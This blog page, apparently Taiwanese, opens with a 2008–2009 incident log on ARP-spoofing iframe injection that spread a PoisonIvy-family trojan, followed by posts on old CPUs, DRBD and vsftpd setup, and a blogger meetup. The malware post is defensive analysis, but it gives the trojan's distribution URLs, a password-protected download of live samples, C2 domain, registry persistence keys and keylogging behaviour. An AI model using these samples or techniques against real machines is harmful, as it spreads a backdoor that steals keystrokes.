改天有空在來研究下牠到底幹了些啥

3. 抓下來的ActiveX.exe 丟到 Virustotal 上的分析報告

File ActiveX.exe received on 12.24.2008 17:25:37 (CET)
Current status:finished Result: 9/39 (23.08%)

AntivirusVersionLast UpdateResult
a-squared4.0.0.732008.12.24-
AhnLab-V32008.12.25.02008.12.24-
AntiVir7.9.0.452008.12.24-
Authentium5.1.0.42008.12.24W32/PoisonIvy.E.gen!Eldorado
Avast4.8.1281.02008.12.24-
AVG8.0.0.1992008.12.24BackDoor.PoisonIvy
BitDefender7.22008.12.24Trojan.Downloader.Agent.ZCR
CAT-QuickHeal10.002008.12.24-
ClamAV0.94.12008.12.24-
Comodo8092008.12.24-
DrWeb4.44.0.091702008.12.24-
eSafe7.0.17.02008.12.24-
eTrust-Vet31.6.62762008.12.24-
Ewido4.02008.12.24-
F-Prot4.4.4.562008.12.24W32/PoisonIvy.E.gen!Eldorado
F-Secure8.0.14332.02008.12.24W32/PoisonIvy.gen22
Fortinet3.117.0.02008.12.24-
GData192008.12.24Trojan.Downloader.Agent.ZCR
IkarusT3.1.1.45.02008.12.24-
K7AntiVirus7.10.5642008.12.24-
Kaspersky7.0.0.1252008.12.24-
McAfee54732008.12.23-
McAfee+Artemis54732008.12.23-
Microsoft1.42052008.12.24Backdoor:Win32/Poisonivy.E
NOD3237162008.12.24-
Norman5.80.022008.12.24W32/PoisonIvy.gen22
Panda9.0.0.42008.12.24-
PCTools4.4.2.02008.12.24-
Prevx1V22008.12.24-
Rising21.09.22.002008.12.24Trojan.Win32.Undef.vir
SecureWeb-Gateway6.7.62008.12.24-
Sophos4.37.02008.12.24-
Sunbelt3.2.1809.22008.12.22-
Symantec102008.12.24-
TheHacker6.3.1.4.1992008.12.23-
TrendMicro8.700.0.10042008.12.24-
VBA323.12.8.102008.12.24-
ViRobot2008.12.24.15342008.12.24-
VirusBuster4.5.11.02008.12.24-

Additional information
File size: 11776 bytes
MD5...: 68fb7e446198055cece63ae002065f98
SHA1..: f3528e710b6e73741fca0d5ffb4f31022616ab30
SHA256: 8e25f68a836b0c562cd575ff3b56f2073df4414d102eb97e0cf79a7c5423340b
SHA512: 9a456f53c90685f24eab8da8bfd95ce959b6f582831f5ec7f8598ba135844311
f782fabd1d8a33f582f860426b24915b4f3fec24f2bbb81fa417ce03a59a7876
ssdeep: 192:p3yFbGZTscP4oyn+5MYNmtNJD5UxMpuYGunUQGdD4RxvjqbqUA2cm4RX2Q3M
7Sfr:JOGZYi4o5MYNAJD5UyuYVnUQG9axvjqW
PEiD..: Armadillo v1.71
TrID..: File type identification
Win32 Executable Generic (42.3%)
Win32 Dynamic Link Library (generic) (37.6%)
Generic Win/DOS Executable (9.9%)
DOS Executable Generic (9.9%)
Autodesk FLIC Image File (extensions: flc, fli, cel) (0.0%)
PEInfo: PE Structure information

( base data )
entrypointaddress.: 0x4013c0
timedatestamp.....: 0x49503e0f (Tue Dec 23 01:25:35 2008)
machinetype.......: 0x14c (I386)

( 3 sections )
name viradd virsiz rawdsiz ntrpy md5
.text 0x1000 0x515 0x600 5.28 4bdf9e12b88dc8c76c7e22d733e4e4e4
.rdata 0x2000 0x2b4 0x400 3.42 9480d3dc61527ddfacb7fb9373fbcc60
.data 0x3000 0x1e60 0x2000 7.82 984d3ad35e502800c4b95c340aeb5ae4

( 2 imports )
> MSVCRT.dll: _adjust_fdiv, __p__commode, __p__fmode, __set_app_type, __setusermatherr, _controlfp, _initterm, __getmainargs, __p___initenv, exit, _XcptFilter, _exit, __CxxFrameHandler, _except_handler3, __3@YAXPAX@Z
> KERNEL32.dll: lstrcpyA, lstrcatA, CreateFileA, WriteFile, CloseHandle, WinExec, ExitProcess, GetModuleFileNameA

看來檢出率還不是很高

4. 2008-12-26. 從這兩天的訪客來源看,有不少是搜 60.248.23.20 & gol.htm 過來的,看來已經有不少人都發現這情況了吧.

5. 抓下來的ActiveX.exe 我在封閉環境測試執行後會生出 C:\WINDOWS\system32\mftp.exe & 123.bat(這是run完後把自己幹掉的batch檔),然後在HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 底下生出一個名稱是 svchost.exe 的啟動執行項目去執行 C:\WINDOWS\system32\mftp.exe ,不過奇怪的是 mftp.exe 跟 ActiveX.exe 是一模一樣的檔案(比對MD5SUM完全相同),好像也沒看到做其他事情..可能需要再進一步分析..

6. 2008-12-27 目前60.248.23.20這台機器似乎是無法連線了,不知是已經發現處裡了還是無法負荷過量的連線需求,在 2008-12-24該台機器還能連線時我有測試過,那是台Windows 2000的機器.

7. http://www.swm.idv.tw/60.248.23.20_torjan.zip 這是從2008-12-25 從 http:// 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / i n d e x 3 . h t m & h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e 抓下來的檔案,解壓縮密碼為 60.248.23.20 ,有興趣者可以抓回去研究研究 (!!小心!!)

8.2008-12-28 目前這個ARP掛木馬iframe index3.htm 的災情似乎有擴大的趨勢,現在已知受影響的站點還有 forum.vbulletin-china.cn (125.89.79.139), 也是一樣應該是受到ARP綁架掛馬的波及.

9.2008-12-29 update
拿nmap掃了下 60.248.23.20 這台機器 (Windows 2000)
發現有開啟的port如下
Discovered open port 3389/tcp on 60.248.23.20 Windows RDP
Discovered open port 21/tcp on 60.248.23.20 FTP
Discovered open port 8888/tcp on 60.248.23.20 ????
Discovered open port 5800/tcp on 60.248.23.20 VNC-HTTP
Discovered open port 5900/tcp on 60.248.23.20 VNC
Discovered open port 1433/tcp on 60.248.23.20 MS-SQL
估計是沒人管的機器被當黑進去利用了

今天測試 h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e 這個檔案居然有改版了, 之前抓下來的是
ActiveX.exe 2008-12-23 09:25 11776 bytes md5sum:68fb7e446198055cece63ae002065f98
今天發現已經換成新的了
ActiveX.exe 2008-12-26 15:07 12800 bytes md5sum:4405441a2b01ad5fce015cdd5a8c80fe
這個檔會被我裝的小紅傘攔截到TR/Dldr.Agent.12800.3 [trojan].(先前的不會), 估計先前那個是拿來做實驗不然就是沒寫好的.
把他丟到 Virus.Org 去分析 (因為virustotal好像掛了)

The following represents the test results from the virus scanners used by the Virus.Org scanning service when it performed the scan on the file 'ActiveX.exe_20081229_TORJAN'.

File: ActiveX.exe_20081229_TORJAN
SHA-1 Digest: 9ad1f1b647d6266a2a7dd4e7ee5b1d091bc7ce7f
Size: 12800 bytes
Detected Packer: Microsoft Visual C++ v5.0/v6.0 (MFC)
Status: Infected or Malware (Confidence 30.43%)
Date Scanned: Mon Dec 29 12:03:22 +0000 2008

Scanner Scanner Version Scanner Engine Scanner Signatures Result Scan Time
A-Squared 4.0.0.29 N/A 1230552006 Clean 30.88 secs
Arcavir 1.0.5 N/A 14:07 13-12-2008 Clean 21.83 secs
avast! 1.0.8 N/A 081228-0 Win32:Rootkit-gen 73.27 secs
AVG Anti Virus 7.5.52 442 270.10.1/1867 Clean 70.36 secs
Avira AntiVir 2.1.12-100 7.9.0.45 7.1.1.45 TR/Dldr.Agent.12800.3 107.02 secs
BitDefender 7.81008 7.22837 2390111 Trojan.Downloader.Agent.ZCR 23.78 secs
CA eTrust N/A 31.06.00 31.06.6274 Clean 21.35 secs
CAT QuickHeal 10.00 N/A 29 December, 2008 Clean 77.78 secs
Comodo 3.0 3.0 834.4321976 Clean 10.70 secs
CPSecure 1.15 1.1.0.715 26/12/2008 10:37AM Clean 101.28 secs
Dr. Web 4.44.0.10060 4.44.0.9170 494777 Clean 73.74 secs
F-PROT 4.6.8 3.16.16 20 November 2008 Clean 62.52 secs
F-PROT 6 6.2.1.4252 4.4.4.56 200812282035 W32/PoisonIvy.E.gen!Eldorado 32.33 secs
F-Secure 1.10 6392 2008-12-29_03 Backdoor.Win32.Poison.ous [AVP] 94.35 secs
Ikarus T3SCAN 1.32.4.0 1.01.45 2008-12-29 04:57:50 Clean 108.05 secs
Kaspersky 5.7.13 1367201 29-12-2008 Backdoor.Win32.Poison.ous 211.55 secs
McAfee Virusscan 5.30.0 5.3.00 v5477 Clean 51.25 secs
Norman Virus Control 7.00.00 5.93.01 5.93.00 Clean 175.55 secs
Panda 9.04.03.0001 1847194 28/12/2008 Clean 26.53 secs
Sophos Sweep 4.36.0 2.81.2 4.36 Clean 63.30 secs
Trend Micro N/A 8.700-1004 736 TROJ_POISON.LO 10.59 secs
VBA32 3.12.8.10 N/A 2008.12.28 Clean 54.87 secs
VirusBuster 2005 1.3.4 4.3.23:9 9.144.53/11.0 Clean 44.53 secs



而這個新的 h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e 如果被下載執行了以後,會發生的動作如下
a.將自己複製一份到 C:\WINDOWS\system32\svahost.exe
b.在registry的
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
新建一筆開機執行
"svchost"="C:\\WINDOWS\\system32\\svahost.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{6605C18D-7259-D9DB-F7B2-7EF7712E0D2A}
"StubPath"="C:\\WINDOWS\\system32\\svahost.exe"

c.紀錄所有執行程式&滑鼠鍵盤動作in C:\\WINDOWS\\system32\\svahost 紀錄內容如下
=================================================================
trlAltCtrlAlt??    * - WINDOWSsysum 2Num 8Num 6Enter?sva?    +  KVMware Accelerated AMD PCNet Adapter (Microsoft's Packet Scheduler) : Capturing - Wiresharkum 2Num 2Num 2Num 2??    -  m 匯出登錄檔案aaa?    - + ?aaa.reg - 記事本trl?
=================================================================
d.試圖連線到 lovepi.8800.org tcp_port 80 (121.10.214.100[廣東汕头市])

很明顯就是一隻木馬程序.

10. 2008-12-31 update. 那隻新的 h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e 已經有專業分析報告出來了

11. 2009-01-02 update. Google 搜尋 60.248.23.20 那個木馬頁面能被搜到了, 囧~~


而那個 http://60.248.23.20/taxi/index3.htm 中的特徵
var mystr ="http://rਊr.book.com";
可以從GOOGLE用 rਊr 搜尋 會有原理介紹.
Virus Total 針對 index3.htm的解析報告 ActiveX.exe的解析報告

12. 2009-03-09 update. 最近(2009三月初)爆出cnet/msn taiwan也有出現莫名轉址的情況,
這陣子因為雜務過多沒花太多時間去追這次大規模轉址攻擊的相關證據,不過由網上有人擷取到封包來看,也是第一個http回應封包前面被插了iframe,跟之前發現的模式很相近.
去年(2008)聖誕節前後的事件因為受影響的網站知名度普遍不夠高,所以並沒有引起廣泛的重視..相關資訊去GOOGLE搜尋 60.248.23.20 可以找到一些受害者的資料.
如果還不知道什麼是ARP掛馬,請GOOGLE一下吧
GOOGLE找 ARP+掛馬 結果是 約有102,000項符合ARP 掛馬的查詢結果,可是把搜尋範圍鎖定在台灣的網頁,就只有469項符合ARP 掛馬的查詢結果.
ARP掛馬前兩年在中國的IDC裡面老早就被人玩爛了,很訝異台灣居然討論的人那麼少.
不過就算真的是IDC裡面某台機器有問題成為掛馬的元兇,應該也會在發現後湮滅掉證據,真正的實情如何我想應該是不會被公開出來的,各位專家就繼續猜吧~~XD

13. 2009-03-11 update. ARP 掛馬的作業模式觀察
由目前找到的ARP掛馬工具實測並觀察封包模式之後來看,ARP掛馬並不會在gateway之外出現兩個封包,所以這種攻擊方式應該比較屬於網路節點中途攔截並搶先送出假造封包.

14.2009-03-12 update.
接到網友專家的來信討論,的確我也感覺之前下的結論過於武斷,由行為模式來看是像機房或是骨幹遭到ARP spoofing,但實際封包模式又不太類似,當然也可能是另一種實作的方式.
不過這些都只是由外部現況及有限的證據進行猜測,並沒法接觸到問題的核心點.
真相到底是如何?我想除非有核心人士出來爆料..否則很快就會被時間給淹沒了..

15.2009-03-13 update.
這篇員外 Security: 網站轉址攻擊-ARP掛馬 點出了我在2009-03-11時的一個判斷上的盲點,如果是要在網路節點中途攔截,若非使用arp spoofing,除非直接打入router,或是作port mirror過去才行,不然理論上是沒法聽到unicast的tcp封包..(這年頭應該不會有人還在用hub吧,何況是IDC..)
另外附上2008-12-24用wireshark錄到的封包樣本 http://www.swm.idv.tw/20081224_cap.zip 有興趣或是手上有2009-03大規模轉址封包樣本的朋友可以抓回去分析比對看看.

2008-10-04

2008-10-04 這幾年敗家到現在殘存下來的CPU/RAM

這是目前挖的出來的殘骸..CPU / RAM


486DX-33


486DX4-100


AMD5x86-P75 (486 DX-133)


AMD-K5 PR100


Celeron 533A


Celeron 950


P4-2.8G


還有好幾顆Cpu是送人/挪作他用..沒留下來..
包含第一台PC用的386-sx33(不知道到哪去了)..
Intel Slot 1的(忘記是多少的了)
超頻經典 P2-賽揚 333
amd k6-2 400 (記得那時候超好用,搞了三顆還搭水冷咧)現在也找不到了 ,
還有AMD Althon 850,AMD Barton 2500....

2008-10-02

DRBD on Debian 上的建置與實測筆記

這是DRBD (Distributed Replicated Block Device) 在DEBIAN上的建置筆記與簡單測試過程的紀錄
整個測試環境是在VMware Server 1.07 build-108231 上
Host配置:
OS- Windows 2003 R2 Enterprise with SP2
CPU- Intel Q6600 2.4GHz
RAM- DDR2-800 2GB *4 = 8GB
HDD- Seagete ST3500320AS *2 with ICH9 AHCI
VM所使用的分區為 Windows Software Raid-0

Guest配置:
OS- Debian 4.0 etch [Kernel:2.6.18-6-686 (2.6.18.dfsg.1-22etch2)]
CPU- 由VM分兩顆Processors出來
RAM- 512MB
HDD- 8G scsi with Independent-persistent
Eth0- Bridged
Eth1- Host-Only #DRBD獨立內網資料交換用

以下皆以Guest為實際操作/測試標的
先準備好兩個相同的VM環境:NODE-A,NODE-B
(可以在 Debian 基本安裝完以後直接把硬碟檔.vmdk複製過去然後修改設定比較節省時間)
硬碟分割:
/dev/sda1 256M /boot #FS:ext3
/dev/sda2 7.7G LVM #作為LVM的PV,屬於VG0
/dev/sda3 512M swap
LVM:
/dev/VG0/LVROOT 4G / #FS:XFS 系統根目錄,測試就懶得細分了
/dev/VG0/LVDRBD 2G /DRBD #測試DRBD用

網路設定
NODE-A
eth0 192.168.1.101 #bridged HOST的網卡,可連外
eth1 192.168.100.101 #Host-Only 網段網卡,作為DRBD交換資料用
NODE-B
eth0 192.168.1.102 #bridged HOST的網卡,可連外
eth1 192.168.100.102 #Host-Only 網段網卡,作為DRBD交換資料用

安裝/測試步驟:
1.設定APT的Sources List
在NODE-A先將 Backports 加進/etc/apt/sources.list中,這樣才有DRBD8可以用(etch本身提供的是drbd0.7,有點舊了)
==================================
NODE-A# echo "deb http://www.backports.org/debian etch-backports main" >>/etc/apt/sources.list
==================================
因為 Backports的GPG在做apt-get update時會出現
==================================
W: GPG error: http://www.backports.org etch-backports Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY EA8E8B2116BA136C
W: You may want to run apt-get update to correct these problems
==================================
所以需要把它的PGP匯入
NODE-A# gpg --keyserver hkp://subkeys.pgp.net --recv-keys 16BA136C
NODE-A# gpg --export | apt-key add -
之後就能正常進行 apt-get update 了

2.安裝drbd8 (source & utils)
NODE-A# apt-get install drbd8-source drbd8-utils
同時會把所有需要的相依套件都裝進去

3.產生drbd8 kernel module
brdb8-source裝完後會在 /usr/src/drbd8.tar.bz2
把它解開
NODE-A# cd /usr/src ; tar jxvf /usr/src/drbd8.tar.bz2
使用 module-assistant 來編譯 drbd8 的kernel module
NODE-A# module-assistant auto-install drbd8
也會自動把所有編譯過程中需要的相依套件自動裝進去,編譯完以後自動安裝
同時產出的 kernel module 會在 /usr/src/drbd8-2.6.18-6-686_8.0.13-2~bpo40+1+2.6.18.dfsg.1-22etch2_i386.deb (檔名會視現行KERNEL版本編號而異)

4.從NODE-A把編好的kernel module & drbd8-utils 直接丟到NODE-B去安裝,省得再NODE-B上還要把相同步驟再搞一次
/usr/src/drbd8-2.6.18-6-686_8.0.13-2~bpo40+1+2.6.18.dfsg.1-22etch2_i386.deb #drbd8 kernel module
/var/cache/apt/archives/drbd8-utils_2%3a8.0.13-2~bpo40+1_i386.deb #從apt的cache archives裡面把drbd8-utils翻出來
在NODE-B上直接用 dpkg -i 把它裝進去就好了(前提是NODE-A & NODE-B的Kernel是一樣的)
NODE-B# dpkg -i drbd8-2.6.18-6-686_8.0.13-2~bpo40+1+2.6.18.dfsg.1-22etch2_i386.deb drbd8-utils_2%3a8.0.13-2~bpo40+1_i386.deb

5.設定/etc/drbd.conf
測試用基礎設定,就依照原本安裝完預設的值的來修改,簡單設定如下
NODE-A & NODE-B : /etc/drbd.conf
==================================
common {
syncer { rate 10M; }
}
resource r0 {
protocol C;
disk { on-io-error detach; }
on NODE-A {
device /dev/drbd0;
disk /dev/VG0/LVDRBD;
address 192.168.100.101:7788;
meta-disk internal;
}
on NODE-B {
device /dev/drbd0;
disk /dev/VG0/LVDRBD;
address 192.168.100.102:7788;
meta-disk internal;
}
}
==================================

6.初始化 resource r0
NODE-A# drbdadm create-md r0
NODE-B# drbdadm create-md r0


7.啟動DRBD service
NODE-A# /etc/init.d/drbd start
NODE-B# /etc/init.d/drbd start

8.檢視DRBD resource r0 狀態
NODE-A# drbdadm state r0
Secondary/Secondary
NODE-B# drbdadm state r0
Secondary/Secondary
=====連線已建立,目前兩個NODE都是Secondary狀態====
NODE-A# cat /proc/drbd
version: 8.0.13 (api:86/proto:86)
GIT-hash: ee3ad77563d2e87171a3da17cc002ddfd1677dbe build by phil@fat-tyre, 2008-08-04 15:28:07
0: cs:Connected st:Secondary/Secondary ds:Inconsistent/Inconsistent C r---
ns:0 nr:0 dw:0 dr:0 al:0 bm:0 lo:0 pe:0 ua:0 ap:0
resync: used:0/61 hits:0 misses:0 starving:0 dirty:0 changed:0
act_log: used:0/257 hits:0 misses:0 starving:0 dirty:0 changed:0
NODE-B# cat /proc/drbd
version: 8.0.13 (api:86/proto:86)
GIT-hash: ee3ad77563d2e87171a3da17cc002ddfd1677dbe build by phil@fat-tyre, 2008-08-04 15:28:07
0: cs:Connected st:Secondary/Secondary ds:Inconsistent/Inconsistent C r---
ns:0 nr:0 dw:0 dr:0 al:0 bm:0 lo:0 pe:0 ua:0 ap:0
resync: used:0/61 hits:0 misses:0 starving:0 dirty:0 changed:0
act_log: used:0/257 hits:0 misses:0 starving:0 dirty:0 changed:0
=====由/proc/drbd 看到的狀態 尚未同步所以是Inconsistent/Inconsistent=====

9.初始化同步r0,將NODE-A設為primary
以NODE-A的資料為基準開始同步
NODE-A# drbdadm -- --overwrite-data-of-peer primary r0
r0所在的/dev/VG0/LVDRBD有2G,首次初始化同步需要點時間,因為在/etc/drbd.conf中設定syncer { rate 10M; } 限制同步最大頻寬使用10MBps(80Mbps),所以2G的資料大概花了三分二十秒左右

同步中在NODE-B上看 /proc/drbd 的資訊
NODE-B# cat /proc/drbd
version: 8.0.13 (api:86/proto:86)
GIT-hash: ee3ad77563d2e87171a3da17cc002ddfd1677dbe build by phil@fat-tyre, 2008-08-04 15:28:07
0: cs:SyncTarget st:Secondary/Primary ds:Inconsistent/UpToDate C r---
ns:0 nr:1842176 dw:1842176 dr:0 al:0 bm:112 lo:0 pe:0 ua:0 ap:0
[================>...] sync'ed: 87.9% (254876/2097052)K
finish: 0:00:23 speed: 10,984 (10,288) K/sec
resync: used:0/61 hits:115023 misses:113 starving:0 dirty:0 changed:113
act_log: used:0/127 hits:0 misses:0 starving:0 dirty:0 changed:0

同步完之後在NODE-A上看 /proc/drbd 的資訊
NODE-A# cat /proc/drbd
version: 8.0.13 (api:86/proto:86)
GIT-hash: ee3ad77563d2e87171a3da17cc002ddfd1677dbe build by phil@fat-tyre, 2008-08-04 15:28:07
0: cs:Connected st:Primary/Secondary ds:UpToDate/UpToDate C r---
ns:2097052 nr:0 dw:0 dr:2097052 al:0 bm:128 lo:0 pe:0 ua:0 ap:0
resync: used:0/61 hits:130938 misses:128 starving:0 dirty:0 changed:128
act_log: used:0/127 hits:0 misses:0 starving:0 dirty:0 changed:0

同步完之後看給DRBD用的網卡eth1
NODE-A:~# ifconfig eth1
eth1 Link encap:Ethernet HWaddr 00:0C:29:68:EC:2C
inet addr:192.168.100.101 Bcast:192.168.100.254 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:659296 errors:0 dropped:0 overruns:0 frame:0
TX packets:1502254 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:47778966 (45.5 MiB) TX bytes:2248845944 (2.0 GiB)
Interrupt:177 Base address:0x1480

NODE-B:~# ifconfig eth1
eth1 Link encap:Ethernet HWaddr 00:0C:29:D3:37:A3
inet addr:192.168.100.102 Bcast:192.168.100.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1502140 errors:12 dropped:18 overruns:0 frame:0
TX packets:659298 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2248686736 (2.0 GiB) TX bytes:47778708 (45.5 MiB)
Interrupt:177 Base address:0x1480

可以看到由NODE-A傳了2G資料給NODE-B

10.於NODE-A(primary)上建立file system,我是用XFS
NODE-A:~# mkfs.xfs /dev/drbd0
meta-data=/dev/drbd0 isize=256 agcount=8, agsize=65532 blks
= sectsz=512 attr=0
data = bsize=4096 blocks=524256, imaxpct=25
= sunit=0 swidth=0 blks, unwritten=1
naming =version 2 bsize=4096
log =internal log bsize=4096 blocks=2560, version=1
= sectsz=512 sunit=0 blks
realtime =none extsz=65536 blocks=0, rtextents=0

11.於NODE-A(primary)上將/dev/drbd0 掛載到 /DRBD 上
NODE-A:~# mount /dev/drbd0 /DRBD
NODE-A:~# df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/mapper/VG0-LVROOT
4184064 609632 3574432 15% /
tmpfs 258408 0 258408 0% /lib/init/rw
udev 10240 52 10188 1% /dev
tmpfs 258408 0 258408 0% /dev/shm
/dev/sda1 241116 13240 215428 6% /boot
/dev/drbd0 2086784 288 2086496 1% /DRBD

12.於NODE-A(primary)測試大檔(1G)寫入速度
寫入1G資料到LOCAL DISK上,花了2.69529秒(VM的DISK CACHE加速的嫌疑)
NODE-A:~# dd if=/dev/zero of=/TEST_1G bs=1M count=1000
1000+0 records in
1000+0 records out
1048576000 bytes (1.0 GB) copied, 2.69529 seconds, 389 MB/s
寫入1G資料到DRBD上,花了10.8353秒
NODE-A:~# dd if=/dev/zero of=/DRBD/TEST_1G bs=1M count=1000
1000+0 records in
1000+0 records out
1048576000 bytes (1.0 GB) copied, 10.8353 seconds, 96.8 MB/s

寫入過程中,在NODE-B(secondary)上的CPU使用量
Tasks: 55 total, 3 running, 52 sleeping, 0 stopped, 0 zombie
Cpu(s): 0.0%us, 5.3%sy, 0.0%ni, 53.0%id, 0.0%wa, 7.2%hi, 34.5%si, 0.0%st
Mem: 516820k total, 36056k used, 480764k free, 368k buffers
Swap: 498004k total, 0k used, 498004k free, 20104k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2333 root 16 0 0 0 0 R 69 0.0 1:09.22 drbd0_receiver
2338 root -3 0 0 0 0 S 0 0.0 0:00.56 drbd0_asender
1 root 15 0 1948 648 552 S 0 0.1 0:02.43 init

可以看到在secondary上,
5.3%sy -- System CPU time
7.2%hi -- Hardware IRQ
34.5%si -- Software Interrupts

在1G資料寫入DRBD時,於NODE-B(secondary)上用iptraf觀察eth1的流量
Peak total activity: 623426.88 kbits/s, 76228.80 packets/s
Peak incoming rate: 609721.00 kbits/s, 50648.00 packets/s
Peak outgoing rate: 14150.92 kbits/s, 25580.80 packets/s

在VM Host-Only網卡上面可以跑到500Mbps以上

13.於NODE-A(primary)測試1000個1M小檔寫入速度
先建一個1M小檔
NODE-A:~# dd if=/dev/zero of=/tmp/0 bs=1M count=1
用while loop copy這個1M檔案1000次
NODE-A:~# date ;i=1;while [ $i -le 1000 ] ; do cp /tmp/0 /DRBD/$i; i=$[$i+1]; done;date
Thu Oct 2 23:14:00 CST 2008
Thu Oct 2 23:14:10 CST 2008
由時間戳顯示花了10秒鐘

於NODE-B(secondary)上用iptraf觀察eth1的流量
Peak total activity: 674872.19 kbits/s, 82699.00 packets/s
Peak incoming rate: 659846.19 kbits/s, 54869.80 packets/s
Peak outgoing rate: 15513.48 kbits/s, 27829.20 packets/s

14.把NODE-A設為secondary,讓NODE-B當primary
需要先把NODE-A上面mount的/dev/drbd0 umount
NODE-A:~# umount /DRBD
NODE-A:~# drbdadm secondary r0
在NODE-B上把它設為primary並mount到 /DRBD 目錄
NODE-B:~# drbdadm primary r0
NODE-B:~# mount /dev/drbd0 /DRBD
NODE-B:~# df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/mapper/VG0-LVROOT
4184064 500296 3683768 12% /
tmpfs 258408 0 258408 0% /lib/init/rw
udev 10240 52 10188 1% /dev
tmpfs 258408 0 258408 0% /dev/shm
/dev/sda1 241116 13240 215428 6% /boot
/dev/drbd0 2086784 1024564 1062220 50% /DRBD

因為是在VM上面測試並非實體機器可能會出現誤差,所以測試結果僅供參考.
DRBD詳細說明文件 http://www.drbd.org/users-guide/users-guide.html

2008-08-04

2008-08-03 Punch Party 6 In BoF 不完全影像紀錄

之所以叫做不完全影像紀錄是因為拍攝過程中原本顯示滿電的副廠電池突然在Xdite主講時掛點..囧rz/當時只好緊急把剛用完的原廠電池現場充電,
所以Xdite的部份只有一開始有影像..!! Sorry.. Xdite ..

凱洛開場


Part 1. 喬敬 - blogger &".blog"


Part 2. Xdite - blogger & 我要成名!
非常抱歉,僅有一開始的部份....


Part 3. KJ - blogger & Wikipedia
萌神KJ.. 最後的射箭照超帥氣



Part 4. 林彥傑 - blogger & 讓台灣319找到國際座標


Part 5. Isaac Mao - blogger & 草莓媒體
礙於兩岸網路的關係,有小部份時間出現LAG情形
part 5-1

part 5-2


Part 6. 無敵小恩恩 - blogger & 他的夏日熱血環島記錄
part 6-1 超熱血,感動..

part 6-2 現場發問..


Part 7. Freddy - blogger & 他的寶貝



Part 8. 朱學恆 - blogger & 阿宅筆記本
part 8-1 強獸人果然名不虛傳.換了投影幕讓我原本架好的三腳架無用武之地,只好緊急換到另一個方向手持拍攝,因為DV舉久了手也是會痠的,所以晃動有點厲害..


part 8-2 最後的主題 每天做一件傻事可以改變世界!

原始影片 Where the Hell is Matt? (2008)

借用asdic在plurk上說的 晚上朱學恆放的那段影片滿感動的,不一定要唸大學、碩士才能寫Blog,不一定要有多專業的知識或經歷才能寫Blog,Blogger們「只要你相信你做得到,你就做得到」,為正在一起努力的Blogger們加油


謝謝凱洛..各位講員....
也辛苦各位工作人員了,帶給我們這麼棒的PP6..
雖然中場休息啤酒沒喝到 XD,但報名費已經值回票價了

另外附上 08-03 凌晨的BOF開場Y!Live截圖
BoF 開場Y!Live截圖集1
capture_03082008_003415


BoF 開場Y!Live截圖集2
capture_20080803012900

BoF 開場Y!Live截圖集3
capture_20080803013753


==================================================
PS:在PP6現場後方低調的出現了剛從電腦應用展結束後過來聽講的
Webi 的Show Girl &總監 Storm,不過好像沒什麼人注意到有Show Girl出現在會場..XD


2008-07-07

[筆記]VSFTPD 建立虛擬用戶與SSL加密 in Debian

安裝 libpam-pwdfile
apt-get install libpam-pwdfile

建立vsftpd_vuser專用的pam service (vsftpd_vusers)
/etc/pam.d/vsftpd_vusers
# Customized login using htpasswd file
auth required pam_pwdfile.so pwdfile /etc/vsftpd/passwd
account required pam_permit.so

利用apache的htpasswd來建立帳號/密碼檔

htpasswd -c /etc/vsftpd/passwd USERA
htpasswd /etc/vsftpd/passwd USERB
chmod 600 /etc/vsftpd/passwd

建立user_list
/etc/vsftpd/user_list
USERA
USERB

建立個別ACCOUNT目錄/權限

/etc/vsftpd/user/USERA
local_root=/PATH/TO/USERA/ACCESS

/etc/vsftpd/user/USERB
local_root=/PATH/TO/USERB/ACCESS
guest_username=REAL_USER_ACCOUNT
local_umask=002

建立SSL key

openssl req -x509 -nodes -days 730 -newkey rsa:1024 -keyout /etc/vsftpd/vsftpd.pem -out /etc/vsftpd/vsftpd.pem

/etc/vsftpd.conf

pasv_min_port=xxxxx
pasv_max_port=yyyyy
listen_port=zz
anonymous_enable=NO
local_enable=YES
write_enable=YES
local_umask=022
userlist_deny=NO
userlist_file=/etc/vsftpd/user_list
chroot_list_enable=YES
chroot_list_file=/etc/vsftpd/user_list
xferlog_enable=YES
dual_log_enable=YES
connect_from_port_20=YES
xferlog_std_format=YES
listen=YES
tcp_wrappers=YES
## VUSER ##
pam_service_name=vsftpd_vusers
user_config_dir=/etc/vsftpd/user
virtual_use_local_privs=YES
guest_enable=YES
secure_chroot_dir=/var/run/vsftpd
hide_ids=YES
## SSL ##
ssl_enable=YES
force_local_data_ssl=no
force_local_logins_ssl=YES
ssl_tlsv1=YES
rsa_cert_file=/etc/vsftpd/vsftpd.pem